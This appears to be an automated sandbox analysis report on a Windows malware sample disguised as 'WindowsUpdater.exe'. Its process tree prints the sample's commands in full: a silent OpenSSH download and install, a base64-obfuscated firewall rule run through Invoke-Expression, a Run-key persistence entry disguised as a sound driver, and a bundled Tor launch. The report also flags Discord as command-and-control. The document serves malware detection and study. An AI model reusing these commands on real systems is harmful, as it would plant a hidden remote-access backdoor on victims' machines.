0f277b5c86588aaa07adad7b0015dab4650a99b8ed2043d72cd9e757e228fdef

Analysis

max time kernel
145s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240221-en
resource tags

arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
submitted
24/02/2024, 15:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WindowsUpdater.exe
Size 11.1MB
Sample240224-tev74agg9z
SHA256 0f277b5c86588aaa07adad7b0015dab4650a99b8ed2043d72cd9e757e228fdef
MD5 ee3bb07de1ce6353ffde5bff9051a8c9
SHA1 21313abb2e99fa890209c361854e23682b7d1bdf
SHA512 22af88c6b16d7bcf07a08a7fc62ebdc0c57e4b5c46cd72b1f62530a7c00060e54ff502d7a3968d83685b74796cf511fe16e395eeae4991307caae2a9fb20d846
SSDEEP 196608:9WyDIJIlBwmDHWcWRX78sqBA1HeT39IigQ7vKub75bcjWgbkzf9AkjLWlFjt:dDIJIThZWJ8fq1+TtIiL7vB5IjWqkzjI
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery persistence

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
23	2648	powershell.exe
31	2648	powershell.exe

Executes dropped EXE 6 IoCs

pid	Process
4772	ssh-agent.exe
5032	sshd.exe
3484	ssh-keygen.exe
3608	sshd.exe
2832	ssh-keygen.exe
2160	WindowsUpdate.exe

Loads dropped DLL 32 IoCs

pid	Process
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
1556	WindowsUpdater.exe
3280	MsiExec.exe
3280	MsiExec.exe
3280	MsiExec.exe
3280	MsiExec.exe
3280	MsiExec.exe
3280	MsiExec.exe
4376	MsiExec.exe
4376	MsiExec.exe
4376	MsiExec.exe
4376	MsiExec.exe
4376	MsiExec.exe
4376	MsiExec.exe
4772	ssh-agent.exe
5032	sshd.exe
3484	ssh-keygen.exe
3608	sshd.exe
2832	ssh-keygen.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4328	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3538781373-1545967067-4263767959-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RealtekSoundDriver = "C:\\Users\\Admin\\AppData\\Local\\WindowsSoundDriver\\WindowsUpdater.exe"	WindowsUpdater.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
47	discord.com
53	discord.com
46	discord.com

Drops file in Program Files directory 25 IoCs

description	ioc	Process
File created	C:\Program Files\OpenSSH\NOTICE.txt	msiexec.exe
File created	C:\Program Files\OpenSSH\FixHostFilePermissions.ps1	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-add.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-pkcs11-helper.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-sk-helper.exe	msiexec.exe
File opened for modification	C:\Program Files\OpenSSH\openssh-events.man	MsiExec.exe
File created	C:\Program Files\OpenSSH\OpenSSHUtils.psm1	msiexec.exe
File created	C:\Program Files\OpenSSH\scp.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\sshd.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\openssh-events.man	msiexec.exe
File created	C:\Program Files\OpenSSH\OpenSSHUtils.psd1	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-shellhost.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\_manifest\spdx_2.2\manifest.spdx.json	msiexec.exe
File created	C:\Program Files\OpenSSH\moduli	msiexec.exe
File created	C:\Program Files\OpenSSH\sftp.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\FixUserFilePermissions.ps1	msiexec.exe
File created	C:\Program Files\OpenSSH\libcrypto.dll	msiexec.exe
File created	C:\Program Files\OpenSSH\LICENSE.txt	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-keyscan.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\sshd_config_default	msiexec.exe
File created	C:\Program Files\OpenSSH\_manifest\spdx_2.2\manifest.spdx.json.sha256	msiexec.exe
File created	C:\Program Files\OpenSSH\sftp-server.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-agent.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-keygen.exe	msiexec.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\Installer\SourceHash{75CC4F13-D9D7-45EE-A061-C367C19DC8D0}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF82D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFCD7.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA56.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB52.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF5BB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF989.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA95.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFD74.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{75CC4F13-D9D7-45EE-A061-C367C19DC8D0}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e57ef71.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57ef71.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF59B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF8CB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF90B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFB3F.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF87C.tmp	msiexec.exe
File created	C:\Windows\Installer\e57ef75.msi	msiexec.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
116	sc.exe
2336	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\22\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\23	msiexec.exe

Modifies registry class 23 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList\PackageName = "OPENSSH.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\31F4CC577D9DEE540A163C761CD98C0D\Client	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\31F4CC577D9DEE540A163C761CD98C0D\Server	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\PackageCode = "59F8CE53B8029C94CA0A728A9AD8952D"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\39D0D9E9D07E4244DADBDAB322A622D6	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\39D0D9E9D07E4244DADBDAB322A622D6\31F4CC577D9DEE540A163C761CD98C0D	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\31F4CC577D9DEE540A163C761CD98C0D	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\ProductName = "OpenSSH"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\Version = "151322624"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\AuthorizedLUAApp = "0"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2648	powershell.exe
2648	powershell.exe
4624	msiexec.exe
4624	msiexec.exe
2112	powershell.exe
2112	powershell.exe
2952	powershell.exe
2952	powershell.exe
220	powershell.exe
220	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeShutdownPrivilege	2060	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2060	msiexec.exe
Token: SeSecurityPrivilege	4624	msiexec.exe
Token: SeCreateTokenPrivilege	2060	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2060	msiexec.exe
Token: SeLockMemoryPrivilege	2060	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2060	msiexec.exe
Token: SeMachineAccountPrivilege	2060	msiexec.exe
Token: SeTcbPrivilege	2060	msiexec.exe
Token: SeSecurityPrivilege	2060	msiexec.exe
Token: SeTakeOwnershipPrivilege	2060	msiexec.exe
Token: SeLoadDriverPrivilege	2060	msiexec.exe
Token: SeSystemProfilePrivilege	2060	msiexec.exe
Token: SeSystemtimePrivilege	2060	msiexec.exe
Token: SeProfSingleProcessPrivilege	2060	msiexec.exe
Token: SeIncBasePriorityPrivilege	2060	msiexec.exe
Token: SeCreatePagefilePrivilege	2060	msiexec.exe
Token: SeCreatePermanentPrivilege	2060	msiexec.exe
Token: SeBackupPrivilege	2060	msiexec.exe
Token: SeRestorePrivilege	2060	msiexec.exe
Token: SeShutdownPrivilege	2060	msiexec.exe
Token: SeDebugPrivilege	2060	msiexec.exe
Token: SeAuditPrivilege	2060	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2060	msiexec.exe
Token: SeChangeNotifyPrivilege	2060	msiexec.exe
Token: SeRemoteShutdownPrivilege	2060	msiexec.exe
Token: SeUndockPrivilege	2060	msiexec.exe
Token: SeSyncAgentPrivilege	2060	msiexec.exe
Token: SeEnableDelegationPrivilege	2060	msiexec.exe
Token: SeManageVolumePrivilege	2060	msiexec.exe
Token: SeImpersonatePrivilege	2060	msiexec.exe
Token: SeCreateGlobalPrivilege	2060	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeRestorePrivilege	4624	msiexec.exe
Token: SeTakeOwnershipPrivilege	4624	msiexec.exe
Token: SeSecurityPrivilege	4404	wevtutil.exe
Token: SeBackupPrivilege	4404	wevtutil.exe
Token: SeSecurityPrivilege	2916	wevtutil.exe
Token: SeBackupPrivilege	2916	wevtutil.exe
Token: SeRestorePrivilege	4624	msiexec.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 3028 wrote to memory of 1556	3028	WindowsUpdater.exe	88
PID 3028 wrote to memory of 1556	3028	WindowsUpdater.exe	88
PID 1556 wrote to memory of 3164	1556	WindowsUpdater.exe	91
PID 1556 wrote to memory of 3164	1556	WindowsUpdater.exe	91
PID 3164 wrote to memory of 2648	3164	cmd.exe	93
PID 3164 wrote to memory of 2648	3164	cmd.exe	93
PID 1556 wrote to memory of 3752	1556	WindowsUpdater.exe	97
PID 1556 wrote to memory of 3752	1556	WindowsUpdater.exe	97
PID 3752 wrote to memory of 2060	3752	cmd.exe	98
PID 3752 wrote to memory of 2060	3752	cmd.exe	98
PID 4624 wrote to memory of 3280	4624	msiexec.exe	101
PID 4624 wrote to memory of 3280	4624	msiexec.exe	101
PID 4624 wrote to memory of 3280	4624	msiexec.exe	101
PID 4624 wrote to memory of 4376	4624	msiexec.exe	102
PID 4624 wrote to memory of 4376	4624	msiexec.exe	102
PID 4624 wrote to memory of 4376	4624	msiexec.exe	102
PID 4376 wrote to memory of 4404	4376	MsiExec.exe	103
PID 4376 wrote to memory of 4404	4376	MsiExec.exe	103
PID 4376 wrote to memory of 4404	4376	MsiExec.exe	103
PID 4404 wrote to memory of 2916	4404	wevtutil.exe	105
PID 4404 wrote to memory of 2916	4404	wevtutil.exe	105
PID 4376 wrote to memory of 116	4376	MsiExec.exe	107
PID 4376 wrote to memory of 116	4376	MsiExec.exe	107
PID 4376 wrote to memory of 116	4376	MsiExec.exe	107
PID 4376 wrote to memory of 2336	4376	MsiExec.exe	109
PID 4376 wrote to memory of 2336	4376	MsiExec.exe	109
PID 4376 wrote to memory of 2336	4376	MsiExec.exe	109
PID 5032 wrote to memory of 3484	5032	sshd.exe	114
PID 5032 wrote to memory of 3484	5032	sshd.exe	114
PID 1556 wrote to memory of 2964	1556	WindowsUpdater.exe	116
PID 1556 wrote to memory of 2964	1556	WindowsUpdater.exe	116
PID 2964 wrote to memory of 2112	2964	cmd.exe	118
PID 2964 wrote to memory of 2112	2964	cmd.exe	118
PID 1556 wrote to memory of 3944	1556	WindowsUpdater.exe	119
PID 1556 wrote to memory of 3944	1556	WindowsUpdater.exe	119
PID 3944 wrote to memory of 2952	3944	cmd.exe	121
PID 3944 wrote to memory of 2952	3944	cmd.exe	121
PID 1556 wrote to memory of 3976	1556	WindowsUpdater.exe	123
PID 1556 wrote to memory of 3976	1556	WindowsUpdater.exe	123
PID 3976 wrote to memory of 4328	3976	cmd.exe	125
PID 3976 wrote to memory of 4328	3976	cmd.exe	125
PID 1556 wrote to memory of 4656	1556	WindowsUpdater.exe	126
PID 1556 wrote to memory of 4656	1556	WindowsUpdater.exe	126
PID 4656 wrote to memory of 220	4656	cmd.exe	128
PID 4656 wrote to memory of 220	4656	cmd.exe	128
PID 3608 wrote to memory of 2832	3608	sshd.exe	130
PID 3608 wrote to memory of 2832	3608	sshd.exe	130
PID 1556 wrote to memory of 1020	1556	WindowsUpdater.exe	132
PID 1556 wrote to memory of 1020	1556	WindowsUpdater.exe	132
PID 1020 wrote to memory of 2160	1020	cmd.exe	134
PID 1020 wrote to memory of 2160	1020	cmd.exe	134
PID 1556 wrote to memory of 2872	1556	WindowsUpdater.exe	135
PID 1556 wrote to memory of 2872	1556	WindowsUpdater.exe	135

C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe
"C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe
  "C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe"
  2⤵
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -c "Invoke-WebRequest 'https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64-v9.5.0.0.msi' -o OPENSSH.msi""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3164
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -c "Invoke-WebRequest 'https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64-v9.5.0.0.msi' -o OPENSSH.msi"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "msiexec /q /i OPENSSH.msi"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3752
  - - C:\Windows\system32\msiexec.exe
      msiexec /q /i OPENSSH.msi
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -c "Start-Service sshd""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -c "Start-Service sshd"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "$command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LU5ldEZpcmV3YWxsUnVsZSAtTmFtZSBzc2hkIC1EaXNwbGF5TmFtZSAnT3BlblNTSCBTU0ggU2VydmVyJyAtRW5hYmxlZCBUcnVlIC1EaXJlY3Rpb24gSW5ib3VuZCAtUHJvdG9jb2wgVENQIC1BY3Rpb24gQWxsb3cgLUxvY2FsUG9ydCAyMiAtUHJvZ3JhbSAnQzpcUHJvZ3JhbSBGaWxlc1xPcGVuU1NIXHNzaGQuZXhlJw==')); Invoke-Expression $command""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LU5ldEZpcmV3YWxsUnVsZSAtTmFtZSBzc2hkIC1EaXNwbGF5TmFtZSAnT3BlblNTSCBTU0ggU2VydmVyJyAtRW5hYmxlZCBUcnVlIC1EaXJlY3Rpb24gSW5ib3VuZCAtUHJvdG9jb2wgVENQIC1BY3Rpb24gQWxsb3cgLUxvY2FsUG9ydCAyMiAtUHJvZ3JhbSAnQzpcUHJvZ3JhbSBGaWxlc1xPcGVuU1NIXHNzaGQuZXhlJw==')); Invoke-Expression $command"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3976
  - - C:\Windows\system32\icacls.exe
      icacls "C:\ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F"
      4⤵
      Modifies file permissions
      PID:4328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -c "Restart-Service sshd""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4656
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -c "Restart-Service sshd"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WindowsUpdate.exe -f C:\Users\Admin\AppData\Local\Temp\tossh\torrc"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1020
  - - C:\Users\Admin\AppData\Local\Temp\_MEI30282\WindowsUpdate.exe
      WindowsUpdate.exe -f C:\Users\Admin\AppData\Local\Temp\tossh\torrc
      4⤵
      Executes dropped EXE
      PID:2160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "type hostname"
    3⤵
    PID:2872

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 76F7AC82C187F342ECAF50ACF2571476
  2⤵
  - Loads dropped DLL
  PID:3280
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 55345406095EFE075571BC84691E653B E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\SysWOW64\wevtutil.exe
    "wevtutil.exe" im "C:\Program Files\OpenSSH\openssh-events.man"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4404
  - - C:\Windows\System32\wevtutil.exe
      "wevtutil.exe" im "C:\Program Files\OpenSSH\openssh-events.man" /fromwow64
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2916
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\SysWOW64\sc.exe" privs ssh-agent SeAssignPrimaryTokenPrivilege/SeTcbPrivilege/SeBackupPrivilege/SeRestorePrivilege/SeImpersonatePrivilege
    3⤵
    - Launches sc.exe
    PID:116
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\SysWOW64\sc.exe" privs sshd SeAssignPrimaryTokenPrivilege/SeTcbPrivilege/SeBackupPrivilege/SeRestorePrivilege/SeImpersonatePrivilege
    3⤵
    - Launches sc.exe
    PID:2336

C:\Program Files\OpenSSH\ssh-agent.exe
"C:\Program Files\OpenSSH\ssh-agent.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4772

C:\Program Files\OpenSSH\sshd.exe
"C:\Program Files\OpenSSH\sshd.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:5032
- C:\Program Files\OpenSSH\ssh-keygen.exe
  ssh-keygen -A
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3484

C:\Program Files\OpenSSH\sshd.exe
"C:\Program Files\OpenSSH\sshd.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3608
- C:\Program Files\OpenSSH\ssh-keygen.exe
  ssh-keygen -A
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e57ef74.rbs

Path C:\Config.Msi\e57ef74.rbs
Size 564KB
SHA256 21a0c0569ad191d68fee8256ff27b8456abfd4029dda7dc3dd7420cd072329f6
MD5 a7fc803bd3e65f67c252c4bfda24971e
SHA1 336537ce53749ed4137f888aeefcda1665a8cd2f
SHA512 624abf6596a40ddaaafd8f8398d56cbcc8c73985f3bfa1e9e36fda65637511106525e12d6a2c13a4396d0259a2903fa30afc0ae377668cd9573ffb2674de16ce
SSDEEP 12288:Hqujnzh85jt3jOZy2KsGU6a4Ks7t3jOZy2KsGU6a4KsK:Hv65xzOE2Z34KOzOE2Z34Kn
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcrypto.dll

Path C:\Program Files\OpenSSH\libcrypto.dll
Size 1.8MB
SHA256 065d3a16b418dfe5647c56c8a1787ac540b13299bdf35f69e9980525804cb9ab
MD5 bfb07109da9eef8ecb8e4360a56b1641
SHA1 d71484f8f0b8fe26222677597d04ad61dd68291f
SHA512 7b8a392e6e9f82c81d5b76e7a171ca4de133b417914dd8c5e21102764f61fc6da2901bdcc601cabf0ee2ddc242c9e0e40df90a94c5b403d0785d20efff6c9654
SSDEEP 49152:RiYeMEx5Hn+aNK0bWPFTpU+ivStjRfTNOS/UzuDAPxzIbdbZnR1CPwDv3uFvXDRB:RJKx5KzU+JPR/UqkzIbdbVR1CPwDv3uF
MD5 SHA1 SHA512 SSDEEP

Submit Download

openssh-events.man

Path C:\Program Files\OpenSSH\openssh-events.man
Size 3KB
SHA256 c36019e53e3045cba2639bf35ed1e2498e3563b272533e53301165c31ab60199
MD5 6f47343492511be4640feea169844855
SHA1 39f0e1c5fdf3f456eeaf9f1a5696a7ca64617f86
SHA512 27e615c2e2363245c2350d9862400f9644f2068c0490c0c7a29142fc44f6c6cdc1ee3218c60a10b80871bae9ef2fe22e2bea20d8b90357bf28f77c6e18debc83
MD5 SHA1 SHA512

Submit Download

openssh-events.man

Path C:\Program Files\OpenSSH\openssh-events.man
Size 3KB
SHA256 0ccb40842417f63a2aed9f41507fb8215c42b815556f16913add175f82c79b86
MD5 f7adf8097a1336dd95a697b2f03506c5
SHA1 ad2ddd36e5ecb5241c1c57c7efafb8e22fe3bc71
